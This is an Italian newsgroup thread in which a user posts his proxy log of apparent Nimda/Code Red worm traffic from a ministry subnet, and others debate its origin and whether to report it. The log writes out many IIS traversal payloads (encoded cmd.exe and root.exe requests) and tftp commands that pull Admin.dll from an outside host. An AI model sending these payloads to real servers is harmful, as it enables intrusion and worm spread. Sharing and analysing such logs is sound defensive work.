Newsgroup: it.comp.sicurezza.varie
Titolo: Un bel log [LUNGO]

E, state tranquilli, non è il classico log di ZA o di Netstat, ma
qualcosa di più istruttivo... :-)
Stramattina mi sveglio, faccio colazione, vado al lavoro, salgo dove
ho  i computer... e inizio a gurdarmi il log dei vari servizi della
mia rete...
... quando ad un certo punto mi capita sott'occhio il log del proxy,
che serve la mia piccola LAN, e che fa da proxy per tutti i servizi
(FTP-POP3-SMTP-NNTP-SOCKS ecc.)
Premesso che il proxy gira sulla porta 80, ed è configurato per
accettare connessioni SOLO dai computer della LAN, così come tutti gli
altri servizi.
Cmq, guardo il log e che ti trovo?
--------------------------------------------------------------------------------------------------
06.53.17 am PROXY: 0640 151.4.xxx.131 Connection has arrived.
06.53.17 am WWW: 0640 Request: /scripts/root.exe?/c+dir
06.53.17 am WWW: 0640 WWW disabled.
06.53.18 am PROXY: 0688 151.4.xxx.131 Connection has arrived.
06.53.18 am WWW: 0688 Request:
/scripts/root.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20Admin.dll
06.53.18 am WWW: 0688 WWW disabled.
06.53.19 am PROXY: 0728 151.4.xxx.131 Connection has arrived.
06.53.19 am WWW: 0728 Request: /scripts/Admin.dll
06.53.19 am WWW: 0728 WWW disabled.
06.53.19 am PROXY: 0644 151.4.xxx.131 Connection has arrived.
06.53.19 am WWW: 0644 Request: /MSADC/root.exe?/c+dir
06.53.19 am WWW: 0644 WWW disabled.
06.53.20 am PROXY: 0712 151.4.xxx.131 Connection has arrived.
06.53.20 am WWW: 0712 Request:
/MSADC/root.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20Admin.dll
06.53.20 am WWW: 0712 WWW disabled.
06.53.20 am PROXY: 0716 151.4.xxx.131 Connection has arrived.
06.53.20 am WWW: 0716 Request: /MSADC/Admin.dll
06.53.20 am WWW: 0716 WWW disabled.
06.53.21 am PROXY: 0660 151.4.xxx.131 Connection has arrived.
06.53.21 am WWW: 0660 Request: /c/winnt/system32/cmd.exe?/c+dir
06.53.21 am WWW: 0660 WWW disabled.
06.53.21 am PROXY: 0672 151.4.xxx.131 Connection has arrived.
06.53.21 am WWW: 0672 Request:
/c/winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.21 am WWW: 0672 WWW disabled.
06.53.22 am PROXY: 0768 151.4.xxx.131 Connection has arrived.
06.53.22 am WWW: 0768 Request:
/c/winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.22 am WWW: 0768 WWW disabled.
06.53.22 am PROXY: 0684 151.4.xxx.131 Connection has arrived.
06.53.22 am WWW: 0684 Request:
/c/winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.22 am WWW: 0684 WWW disabled.
06.53.23 am PROXY: 0704 151.4.xxx.131 Connection has arrived.
06.53.23 am WWW: 0704 Request: /c/Admin.dll
06.53.23 am WWW: 0704 WWW disabled.
06.53.23 am PROXY: 0756 151.4.xxx.131 Connection has arrived.
06.53.23 am WWW: 0756 Request: /d/winnt/system32/cmd.exe?/c+dir
06.53.23 am WWW: 0756 WWW disabled.
06.53.24 am PROXY: 0640 151.4.xxx.131 Connection has arrived.
06.53.24 am WWW: 0640 Request:
/d/winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.24 am WWW: 0640 WWW disabled.
06.53.24 am PROXY: 0688 151.4.xxx.131 Connection has arrived.
06.53.24 am WWW: 0688 Request:
/d/winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.24 am WWW: 0688 WWW disabled.
06.53.25 am PROXY: 0760 151.4.xxx.131 Connection has arrived.
06.53.25 am WWW: 0760 Request:
/d/winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.25 am WWW: 0760 WWW disabled.
06.53.25 am PROXY: 0644 151.4.xxx.131 Connection has arrived.
06.53.25 am WWW: 0644 Request: /d/Admin.dll
06.53.25 am WWW: 0644 WWW disabled.
06.53.26 am PROXY: 0712 151.4.xxx.131 Connection has arrived.
06.53.26 am WWW: 0712 Request:
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
06.53.26 am WWW: 0712 WWW disabled.
06.53.27 am PROXY: 0716 151.4.xxx.131 Connection has arrived.
06.53.27 am WWW: 0716 Request:
/scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.27 am WWW: 0716 WWW disabled.
06.53.27 am PROXY: 0660 151.4.xxx.131 Connection has arrived.
06.53.27 am WWW: 0660 Request:
/scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.27 am WWW: 0660 WWW disabled.
06.53.28 am PROXY: 0672 151.4.xxx.131 Connection has arrived.
06.53.28 am WWW: 0672 Request:
/scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.28 am WWW: 0672 WWW disabled.
06.53.28 am PROXY: 0768 151.4.xxx.131 Connection has arrived.
06.53.28 am WWW: 0768 Request: /scripts/..%255c../Admin.dll
06.53.28 am WWW: 0768 WWW disabled.
06.53.29 am PROXY: 0684 151.4.xxx.131 Connection has arrived.
06.53.29 am WWW: 0684 Request:
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
06.53.29 am WWW: 0684 WWW disabled.
06.53.29 am PROXY: 0704 151.4.xxx.131 Connection has arrived.
06.53.29 am WWW: 0704 Request:
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.29 am WWW: 0704 WWW disabled.
06.53.30 am PROXY: 0756 151.4.xxx.131 Connection has arrived.
06.53.30 am WWW: 0756 Request:
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.30 am WWW: 0756 WWW disabled.
06.53.30 am PROXY: 0640 151.4.xxx.131 Connection has arrived.
06.53.30 am WWW: 0640 Request:
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.30 am WWW: 0640 WWW disabled.
06.53.31 am PROXY: 0688 151.4.xxx.131 Connection has arrived.
06.53.31 am WWW: 0688 Request:
/_vti_bin/..%255c../..%255c../..%255c../Admin.dll
06.53.31 am WWW: 0688 WWW disabled.
06.53.31 am PROXY: 0760 151.4.xxx.131 Connection has arrived.
06.53.31 am WWW: 0760 Request:
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
06.53.31 am WWW: 0760 WWW disabled.
06.53.32 am PROXY: 0644 151.4.xxx.131 Connection has arrived.
06.53.32 am WWW: 0644 Request:
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.32 am WWW: 0644 WWW disabled.
06.53.33 am PROXY: 0712 151.4.xxx.131 Connection has arrived.
06.53.33 am WWW: 0712 Request:
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.33 am WWW: 0712 WWW disabled.
06.53.33 am PROXY: 0716 151.4.xxx.131 Connection has arrived.
06.53.33 am WWW: 0716 Request:
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.33 am WWW: 0716 WWW disabled.
06.53.35 am PROXY: 0660 151.4.xxx.131 Connection has arrived.
06.53.35 am WWW: 0660 Request:
/_mem_bin/..%255c../..%255c../..%255c../Admin.dll
06.53.35 am WWW: 0660 WWW disabled.
06.53.35 am PROXY: 0672 151.4.xxx.131 Connection has arrived.
06.53.35 am WWW: 0672 Request:
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
06.53.35 am WWW: 0672 WWW disabled.
06.53.35 am PROXY: 0768 151.4.xxx.131 Connection has arrived.
06.53.35 am WWW: 0768 Request:
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.35 am WWW: 0768 WWW disabled.
06.53.35 am PROXY: 0684 151.4.xxx.131 Connection has arrived.
06.53.35 am WWW: 0684 Request:
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.35 am WWW: 0684 WWW disabled.
06.53.36 am PROXY: 0704 151.4.xxx.131 Connection has arrived.
06.53.36 am WWW: 0704 Request:
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.36 am WWW: 0704 WWW disabled.
06.53.36 am PROXY: 0756 151.4.xxx.131 Connection has arrived.
06.53.36 am WWW: 0756 Request:
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll
06.53.36 am WWW: 0756 WWW disabled.
06.53.38 am PROXY: 0640 151.4.xxx.131 Connection has arrived.
06.53.38 am WWW: 0640 Request:
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
06.53.38 am WWW: 0640 WWW disabled.
06.53.38 am PROXY: 0688 151.4.xxx.131 Connection has arrived.
06.53.38 am WWW: 0688 Request:
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.38 am WWW: 0688 WWW disabled.
06.53.38 am PROXY: 0760 151.4.xxx.131 Connection has arrived.
06.53.38 am WWW: 0760 Request:
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.38 am WWW: 0760 WWW disabled.
06.53.38 am PROXY: 0644 151.4.xxx.131 Connection has arrived.
06.53.38 am WWW: 0644 Request:
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.38 am WWW: 0644 WWW disabled.
06.53.39 am PROXY: 0712 151.4.xxx.131 Connection has arrived.
06.53.39 am WWW: 0712 Request: /scripts/..%c1%1c../Admin.dll
06.53.39 am WWW: 0712 WWW disabled.
06.53.41 am PROXY: 0716 151.4.xxx.131 Connection has arrived.
06.53.41 am WWW: 0716 Request:
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
06.53.41 am WWW: 0716 WWW disabled.
06.53.41 am PROXY: 0660 151.4.xxx.131 Connection has arrived.
06.53.41 am WWW: 0660 Request:
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.41 am WWW: 0660 WWW disabled.
06.53.42 am PROXY: 0672 151.4.xxx.131 Connection has arrived.
06.53.42 am WWW: 0672 Request:
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.42 am WWW: 0672 WWW disabled.
06.53.42 am PROXY: 0768 151.4.xxx.131 Connection has arrived.
06.53.42 am WWW: 0768 Request:
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.42 am WWW: 0768 WWW disabled.
06.53.43 am PROXY: 0684 151.4.xxx.131 Connection has arrived.
06.53.43 am WWW: 0684 Request: /scripts/..%c0%2f../Admin.dll
06.53.43 am WWW: 0684 WWW disabled.
06.53.43 am PROXY: 0704 151.4.xxx.131 Connection has arrived.
06.53.43 am WWW: 0704 Request:
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
06.53.43 am WWW: 0704 WWW disabled.
06.53.44 am PROXY: 0756 151.4.xxx.131 Connection has arrived.
06.53.44 am WWW: 0756 Request:
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.44 am WWW: 0756 WWW disabled.
06.53.44 am PROXY: 0640 151.4.xxx.131 Connection has arrived.
06.53.44 am WWW: 0640 Request:
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.44 am WWW: 0640 WWW disabled.
06.53.45 am PROXY: 0688 151.4.xxx.131 Connection has arrived.
06.53.45 am WWW: 0688 Request:
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.45 am WWW: 0688 WWW disabled.
06.53.45 am PROXY: 0760 151.4.xxx.131 Connection has arrived.
06.53.45 am WWW: 0760 Request: /scripts/..%c0%af../Admin.dll
06.53.45 am WWW: 0760 WWW disabled.
06.53.46 am PROXY: 0644 151.4.xxx.131 Connection has arrived.
06.53.46 am WWW: 0644 Request:
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
06.53.46 am WWW: 0644 WWW disabled.
06.53.46 am PROXY: 0712 151.4.xxx.131 Connection has arrived.
06.53.46 am WWW: 0712 Request:
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.46 am WWW: 0712 WWW disabled.
06.53.47 am PROXY: 0716 151.4.xxx.131 Connection has arrived.
06.53.47 am WWW: 0716 Request:
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.47 am WWW: 0716 WWW disabled.
06.53.47 am PROXY: 0660 151.4.xxx.131 Connection has arrived.
06.53.48 am WWW: 0660 Request:
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.48 am WWW: 0660 WWW disabled.
06.53.48 am PROXY: 0672 151.4.xxx.131 Connection has arrived.
06.53.48 am WWW: 0672 Request: /scripts/..%c1%9c../Admin.dll
06.53.48 am WWW: 0672 WWW disabled.
06.53.49 am PROXY: 0768 151.4.xxx.131 Connection has arrived.
06.53.49 am WWW: 0768 Request:
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
06.53.49 am WWW: 0768 WWW disabled.
06.53.49 am PROXY: 0684 151.4.xxx.131 Connection has arrived.
06.53.49 am WWW: 0684 Request:
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.49 am WWW: 0684 WWW disabled.
06.53.50 am PROXY: 0704 151.4.xxx.131 Connection has arrived.
06.53.50 am WWW: 0704 Request:
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.50 am WWW: 0704 WWW disabled.
06.53.50 am PROXY: 0756 151.4.xxx.131 Connection has arrived.
06.53.50 am WWW: 0756 Request:
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.50 am WWW: 0756 WWW disabled.
06.53.51 am PROXY: 0640 151.4.xxx.131 Connection has arrived.
06.53.51 am WWW: 0640 Request: /scripts/..%%35%63../Admin.dll
06.53.51 am WWW: 0640 WWW disabled.
06.53.51 am PROXY: 0688 151.4.xxx.131 Connection has arrived.
06.53.51 am WWW: 0688 Request:
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
06.53.51 am WWW: 0688 WWW disabled.
06.53.52 am PROXY: 0760 151.4.xxx.131 Connection has arrived.
06.53.52 am WWW: 0760 Request:
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.52 am WWW: 0760 WWW disabled.
06.53.52 am PROXY: 0644 151.4.xxx.131 Connection has arrived.
06.53.52 am WWW: 0644 Request:
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.52 am WWW: 0644 WWW disabled.
06.53.53 am PROXY: 0712 151.4.xxx.131 Connection has arrived.
06.53.53 am WWW: 0712 Request:
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.53 am WWW: 0712 WWW disabled.
06.53.53 am PROXY: 0716 151.4.xxx.131 Connection has arrived.
06.53.53 am WWW: 0716 Request: /scripts/..%%35c../Admin.dll
06.53.53 am WWW: 0716 WWW disabled.
06.53.54 am SMTP: Reading Internet messages output queue...
06.53.54 am SMTP: Reading Internet messages output queue finished.
06.53.54 am PROXY: 0660 151.4.xxx.131 Connection has arrived.
06.53.54 am WWW: 0660 Request:
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
06.53.54 am WWW: 0660 WWW disabled.
06.53.55 am PROXY: 0672 151.4.xxx.131 Connection has arrived.
06.53.55 am WWW: 0672 Request:
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.55 am WWW: 0672 WWW disabled.
06.53.55 am PROXY: 0768 151.4.xxx.131 Connection has arrived.
06.53.55 am WWW: 0768 Request:
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.55 am WWW: 0768 WWW disabled.
06.53.56 am PROXY: 0684 151.4.xxx.131 Connection has arrived.
06.53.56 am WWW: 0684 Request:
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.56 am WWW: 0684 WWW disabled.
06.53.56 am PROXY: 0704 151.4.xxx.131 Connection has arrived.
06.53.56 am WWW: 0704 Request: /scripts/..%25%35%63../Admin.dll
06.53.56 am WWW: 0704 WWW disabled.
06.53.57 am PROXY: 0756 151.4.xxx.131 Connection has arrived.
06.53.57 am WWW: 0756 Request:
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir
06.53.57 am WWW: 0756 WWW disabled.
06.53.57 am PROXY: 0740 151.4.xxx.131 Connection has arrived.
06.53.57 am WWW: 0740 Request:
/scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20c:\Admin.dll
06.53.57 am WWW: 0740 WWW disabled.
06.53.58 am PROXY: 0660 151.4.xxx.131 Connection has arrived.
06.53.58 am WWW: 0660 Request:
/scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20d:\Admin.dll
06.53.58 am WWW: 0660 WWW disabled.
06.53.58 am PROXY: 0760 151.4.xxx.131 Connection has arrived.
06.53.58 am WWW: 0760 Request:
/scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20151.4.xxx.250%20GET%20Admin.dll%20e:\Admin.dll
06.53.58 am WWW: 0760 WWW disabled.
06.53.59 am PROXY: 0640 151.4.xxx.131 Connection has arrived.
06.53.59 am WWW: 0640 Request: /scripts/..%252f../Admin.dll
06.53.59 am WWW: 0640 WWW disabled.
---------------------------------------------------------------------------------------------------------------
Ovviamente il mio computer, non avendo il server Web attivo (il mio
proxy incorpora anche un server Web, ma non mi serve, per il momento)
non rispondeva nemmeno.
Ora, le domande: sbaglio, o fra i vari tentativi di usare i vari
exploit che hanno come bersaglio i server IIS di Microsoft, io vedo
anche un maldestro tentativo di FTP bounce?
E, seconda domanda: considerato che i tentativi NON arrivano da uno
dei tanti script-kiddie, ma da una sottorete di un MINISTERO ITALIANO,
con solamente 255 indirizzi IP (151.4.xxx.0-151.4.xxx.255), che
faccio?
Ho cercato di contattare il contatto amministrativo, ma essendo un
ministero italiano, ovviamente non c'era nessuno, ed ho lasciato un
messagio in segreteria.
Denuncio tutto alla PS?
Anche perchè, avendo me come bersaglio, il tentativo non è riuscito
(nè mai riuscirebbe, fortunatamente so amministrare le mie macchine),
ma se il tizio ci provava con un VERO server IIS, o peggio ancora PWS?
-- 
                  Giovy  (
gi...@globoweb.it
)    ICQ #  54911070
         WebMaster di Extreme - The Site  
www.extremenews.it
Globoweb Internet Solutions - Team Member   
www.globoweb.it

 messagio in segreteria.
Probabilmente in questo momento sono occupati a sistemare le traduzioni 
in inglese :P
[...]
-- 
Valter Minute
min...@inwind.it
 (the reply address of this message is invalid)

 ma se il tizio ci provava con un VERO server IIS, o peggio ancora PWS?
Non aveva te come bersaglio specifico: e' un worm.
Forse dovresti stare più aggiornato in materia di sicurezza: questi worm sono
fuori da 5 mesi, hanno già fatto i loro disastri e ora sono in fase calante.
Ne hanno parlato anche i quotidiani:).
Fabio

 wrote in message
news:vaob1usj9eblf2ju6...@4ax.com...

TI voleva bucare la macchina sicuramente :)....     Quei comandi si uano
normalmente per chtorotttare o per un defaced... Cmq se il tuo web server
era off non ti devi preoccupare..per lo piu' butta IIS ....
Prova a denunciare vedi che ti rispondono....
--
bismark
www.bismark.it
(Il primo Network Security Italiano)

 (Il primo Network Security Italiano)
  l'ultimo nel corso di quoting.  neanche al cepu hanno accettato la tua
iscrizione, vero?
Paolo

 Paolo
Gia'.... ho perso la lezione sul quoting... che ci vuoi fare :)
--
bismark


 Gia'.... ho perso la lezione sul quoting... che ci vuoi fare :)
Fai sempre a tempo ad imparare:
http://digilander.iol.it/ifst/html/Quoting.html
Hai vinto il premio: 430 linee di messaggio, di cui 4 per la risposta.
Meno dell'1%. :)
-- 
HappyCactus - Registered Linux User #209744
Cannot delete files, disk full. Try to delete some file.
rm -fr /bin/laden

 
Paolo...gaurda più la sostanza che non il quoting.......troppa polemica 
inutile.....
By Frantic...

 ministero italiano, ovviamente non c'era nessuno, ed ho lasciato un
Al massimo riprova a contattarli sia telefonicamente che mediante mail
se riesci a trovare un riferimento ed informali della situazione proprio
perche' non ci si aspetta di avere a che fare con script kiddies (beh il
caso remoto di un impiegato in malafede e deficiente non si puo'
comunque escludere ma mi sembra remoto)
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *

 normalmente per chtorotttare o per un defaced... Cmq se il tuo web server
Complimenti: concorri anche tu per il premio "Quote a pene di Fido"?


Ne hanno parlato anche i quotidiani:).
E tu sei sicuro che sia stato CodeRed?
Proprio perchè è un worm vecchio di 5 mesi, ormai tutti (spero)
dovrebbero aver patchato le macchine...
E, caro Fabio, tranquillo che sono informato costantemente, e non solo
sugli exploit/worm/trojan e schifezze Microsoft, dato che mi ciuccio
ogni giorno tutte le mail di BugTraq, oltre a tutti i vari NG
it.comp.sicurezza.* .


 *  Icaro credeva di essere un uccello, invece era un pirla.
Ahhahah come siete ..... vabbe' avete ragione... excuse
bismark

 dovrebbero aver patchato le macchine...
Maddai, in un ministero? :-)
NOn hanno fama di essere proprio al massimo livello di efficienza e
reattivita', da quel che si sente in giro.
Dipende sempre da quale, ovviamente.
-- 
           |Save our planet!
  Ciao     |Save wildlife;
  roberto  |For your E-MAIL use only recycled Bytes !!
           |roberto poggi  
rpo...@softhome.net

Ti assicuro che, li' fuori, e' ancora pieno di IIS non patchati.
Ok.
E se ti dicessi che su quella macchina non gira NESSUN IIS, così come
non girà NESSUN servizio? NO HTTP-FTP-SMTP-POP3-NNTP....
Niente di niente, è un client stand-alone....


 Niente di niente, è un client stand-alone....
E se ti dicessi che a Code Red non gliene frega una cippa se su una
determinata macchina ci sia o meno IIS e invece si limita a fare lo
scanning di intere sottoreti per cercarne ti sorprenderebbe piu' di
tanto?


 it.comp.sicurezza.* .
Scusa se ho messo in dubbio la cosa ma ne sento ancora tutti i giorni di
'sysadmin' che non sanno cosa sia questa roba che infesta i loro log.
Fabio

 E se ti dicessi che su quella macchina non gira NESSUN IIS
Si', puo' essere qualcuno che ce prova.
(la porta 80 e' chiusa o filtrata?)

 (la porta 80 e' chiusa o filtrata?)
Ti rispondo io senza guardare: e' aperta e accetta connessioni.
Altrimenti non si sarebbe potuto inviare alcun che'.


 risposta, non essendo un server web, ma un proxy... :-)))
No, sicuramente ha accettato la connessione, altrimenti codered o nimda
non avrebbe potuto inviare le stringhe per l'exploit. ovvio, mi pare.
Insomma, cio' per dire che la porta 80 e' comunque aperta (da chi, non
si sa)


 Ti rispondo io senza guardare: e' aperta e accetta connessioni.
Io intendevo quella dell'"attaccante".

 Io intendevo quella dell'"attaccante".
ah, ok! e vale anche la pena controllare che dall'altra parte ci sia un
IIS.
Magari costui si maschera dietro un IIS bacato a posta.


'sysadmin' che non sanno cosa sia questa roba che infesta i loro log.
No problem, ti capisco benissimo...
Io mi trovo a combattere con persone che si ritengono "amministratori
di rete" di un grosso ente pubblico e che quando mi hanno visto usare
la loro rete, che ritenevano esclusivo appannaggio del sistema AS400,
per far navigare tutta la direzione amministrativa su Internet, non
credevano ai loro occhi... :-)


tanto?
No, affatto, e su questo siamo tutti d'accordo...
Non siamo d'accordo su questo, invece:
---------------------------------------------------------------------------------------------------
CERT® Advisory CA-2001-19 "Code Red" Worm Exploiting Buffer Overflow
In IIS Indexing Service DLL
Original release date: July 19, 2001
Last revised: August 23, 2001
Source: CERT/CC
Systems Affected
Microsoft Windows NT 4.0 with IIS 4.0 or IIS 5.0 enabled and Index
Server 2.0 installed 
Windows 2000 with IIS 4.0 or IIS 5.0 enabled and Indexing services
installed 
-------------------------------------------------------------------------------------------------------
Ovvero, CodeRed, ed il suo fratellino CodeRed II, attaccano solo
sistemi Microsoft su cui gira IIS!
Se il computer che ha fatto il furbo con me NON ha IIS, può essere
infetto da CodeRed? NO!
É questo che volevo farti capire!


(la porta 80 e' chiusa o filtrata?)
E' chiusa.


Magari costui si maschera dietro un IIS bacato a posta.
Mah, tutto può essere...
Così come può essere che non era nemmeno lui che "ce stava provando",
ma qualcun'altro che magari aveva già violentato quella macchina e la
usava come trampolino per provarci sulla mia...
Può essere tutto e niente... :-)))


 É questo che volevo farti capire!
Non ci siamo: quello che tu non capisci e' che una macchina con un IIS
infetto non sa mica a priori se sulla tua macchina ce ne sia un altro
sempre infetto (a meno che non ci sia qualcuno che ce l'abbia in
particolare con te e voglia danneggiarti ma converrai che come ipotesi
e' alquanto remota, vero?) ma si limita a prendere una classe di IP (che
so, 
195.20.84.0/24
) e se la rigira per benino per vedere se fra quegli
IP c'e' una macchina infetta.. altrimenti non pensi che ci saremmo
trovati di fronte ad un raro caso di stupidita' quando delle macchine
con IIS infetti ci hanno provato sui miei server con Apache?


 infetto da CodeRed? NO!
Da Nimda si'.

 IIS.
Appunto.

 infetto
Giovy ha scritto che la macchina che attaccava non aveva alcun
web server attivo, in effetti.

 web server attivo, in effetti.
Si ma a Code Red frega qualcosa? Lui fa lo scanning di una sottorete e
basta senza sapere se ci siano o meno webserver, li cerca, o sbaglio?


 basta senza sapere se ci siano o meno webserver, li cerca, o sbaglio?
Certo.
Ma la macchina che e' gia' infetta e fa lo scanning 
deve avere un web  server IIS.
E quella da cui proveniva l'attacco non lo aveva.

 E quella da cui proveniva l'attacco non lo aveva.
E su questo ci siamo ma le mie due macchine Linux con Apache di certo
non erano infette ma aver visto le richieste con GET di CMD.EXE
significhera' dunque che una macchina infetta aveva bussato li' per
testare se c'era un'altra macchina infetta?
Mi pare un circolo vizioso, questo, mah.


 Cosě come puň essere che non era nemmeno lui che "ce stava provando",
Potrebbe anche trattarsi di un proxy.
Potrebbe essere un IIS che dietro quel gateway cerca degli IIS da
compromettere, mentre tu, dal di fuori, continui a sbattere il muso sul
firewall.


 questo che sto cercando di mettere in chiaro..
Io credo che ci sia un problema di comunicazione di fondo.
La macchina infetta potrebbe non essere quella relativa all'IP
attaccante.
Potrebbe essere un proxy.
Infect (la macchina infetta) si connette a Gateway, che NATTA, la quale
si connette a Victim per infettarla. Victim (la macchina di Giovi)
accetta la connessione e logga l'IP di Gateway. Giovi fa uno scan su
tale IP e non trova la 80 aperta. Ma Infect ha la porta 80 aperta,
perche' e' un server IIS. Solo che Giovy non puo' saperlo.


 attaccante.
Questo non possiamo saperlo, puo' dircelo solo lui visto che noi non
conosciamo la struttura della sua rete e se fa uso di proxy.


 perche' e' un server IIS. Solo che Giovy non puo' saperlo.
Il problema è che le informazioni non sono assolutamente sufficienti per fare
ipotesi: il tipo di risposta che arriva dalle porte 'chiuse' di _infect_, il
TTL dei pacchetti arrivati da _infect_ durante lo scan di cui abbiamo il log,
il TTL di quelli in risposta alle analisi fatte sull'IP da giovy, gli header
